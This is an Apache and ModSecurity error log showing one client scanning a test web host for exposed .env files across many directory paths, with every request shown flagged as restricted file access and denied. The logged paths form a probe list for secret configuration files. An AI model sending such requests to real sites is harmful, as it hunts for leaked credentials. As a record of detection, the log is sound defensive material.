[Wed Mar 11 20:56:53.231602 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abHJBQGa7hTYdm05K1T1xQAAAAU"]
[Wed Mar 11 20:56:53.231845 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abHJBQGa7hTYdm05K1T1xQAAAAU"]
[Wed Mar 11 20:56:53.232021 2026] [:error] [pid 2634239] [client 185.177.72.60:41824] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abHJBQGa7hTYdm05K1T1xQAAAAU"]
[Wed Mar 11 20:56:53.280801 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "abHJBRM06ibq-fKkKHKWHgAAABA"]
[Wed Mar 11 20:56:53.280985 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "abHJBRM06ibq-fKkKHKWHgAAABA"]
[Wed Mar 11 20:56:53.281134 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "abHJBRM06ibq-fKkKHKWHgAAABA"]
[Wed Mar 11 20:56:53.378870 2026] [authz_core:error] [pid 2634341] [client 185.177.72.60:41828] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Wed Mar 11 20:56:53.398466 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "abHJBZX0JxooV6RUP8UrcQAAAA4"]
[Wed Mar 11 20:56:53.398638 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "abHJBZX0JxooV6RUP8UrcQAAAA4"]
[Wed Mar 11 20:56:53.398779 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "abHJBZX0JxooV6RUP8UrcQAAAA4"]
[Wed Mar 11 20:56:53.413228 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "abHJBSkCWy977yPh9ymvNAAAAAc"]
[Wed Mar 11 20:56:53.413450 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "abHJBSkCWy977yPh9ymvNAAAAAc"]
[Wed Mar 11 20:56:53.413587 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "abHJBSkCWy977yPh9ymvNAAAAAc"]
[Wed Mar 11 20:56:53.470394 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abHJBUas0R32zSQmEomvSgAAABM"]
[Wed Mar 11 20:56:53.470570 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abHJBUas0R32zSQmEomvSgAAABM"]
[Wed Mar 11 20:56:53.470722 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abHJBUas0R32zSQmEomvSgAAABM"]
[Wed Mar 11 20:56:53.490540 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abHJBVHINoBDNij9jADMFwAAAAE"]
[Wed Mar 11 20:56:53.490694 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abHJBVHINoBDNij9jADMFwAAAAE"]
[Wed Mar 11 20:56:53.490822 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abHJBVHINoBDNij9jADMFwAAAAE"]
[Wed Mar 11 20:56:53.499178 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abHJBeBvFsx28IYw-q9nHAAAAAg"]
[Wed Mar 11 20:56:53.499376 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abHJBeBvFsx28IYw-q9nHAAAAAg"]
[Wed Mar 11 20:56:53.499525 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abHJBeBvFsx28IYw-q9nHAAAAAg"]
[Wed Mar 11 20:56:53.605606 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/config/.env"] [unique_id "abHJBaLYNbOGi8i_DeWmEwAAAAo"]
[Wed Mar 11 20:56:53.605778 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/config/.env"] [unique_id "abHJBaLYNbOGi8i_DeWmEwAAAAo"]
[Wed Mar 11 20:56:53.605938 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/config/.env"] [unique_id "abHJBaLYNbOGi8i_DeWmEwAAAAo"]
[Wed Mar 11 20:56:53.726219 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abHJBVHINoBDNij9jADMGAAAAAE"]
[Wed Mar 11 20:56:53.726426 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abHJBVHINoBDNij9jADMGAAAAAE"]
[Wed Mar 11 20:56:53.726581 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abHJBVHINoBDNij9jADMGAAAAAE"]
[Wed Mar 11 20:56:53.752066 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abHJBSCgtlFRCZQ_mzOvlQAAAA8"]
[Wed Mar 11 20:56:53.752244 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abHJBSCgtlFRCZQ_mzOvlQAAAA8"]
[Wed Mar 11 20:56:53.752412 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abHJBSCgtlFRCZQ_mzOvlQAAAA8"]
[Wed Mar 11 20:56:53.851232 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abHJBaPPzlNIonXxp6eEnwAAAAw"]
[Wed Mar 11 20:56:53.851427 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abHJBaPPzlNIonXxp6eEnwAAAAw"]
[Wed Mar 11 20:56:53.851588 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abHJBaPPzlNIonXxp6eEnwAAAAw"]
[Wed Mar 11 20:56:53.879670 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "abHJBSLTdk5HIxV82QLTzAAAAAQ"]
[Wed Mar 11 20:56:53.879842 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "abHJBSLTdk5HIxV82QLTzAAAAAQ"]
[Wed Mar 11 20:56:53.879989 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "abHJBSLTdk5HIxV82QLTzAAAAAQ"]
[Wed Mar 11 20:56:53.912477 2026] [authz_core:error] [pid 2634342] [client 185.177.72.60:41810] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Wed Mar 11 20:56:53.977135 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abHJBSLTdk5HIxV82QLTzQAAAAQ"]
[Wed Mar 11 20:56:53.977323 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abHJBSLTdk5HIxV82QLTzQAAAAQ"]
[Wed Mar 11 20:56:53.977481 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abHJBSLTdk5HIxV82QLTzQAAAAQ"]
[Wed Mar 11 20:56:54.058024 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abHJBiCgtlFRCZQ_mzOvlgAAAA8"]
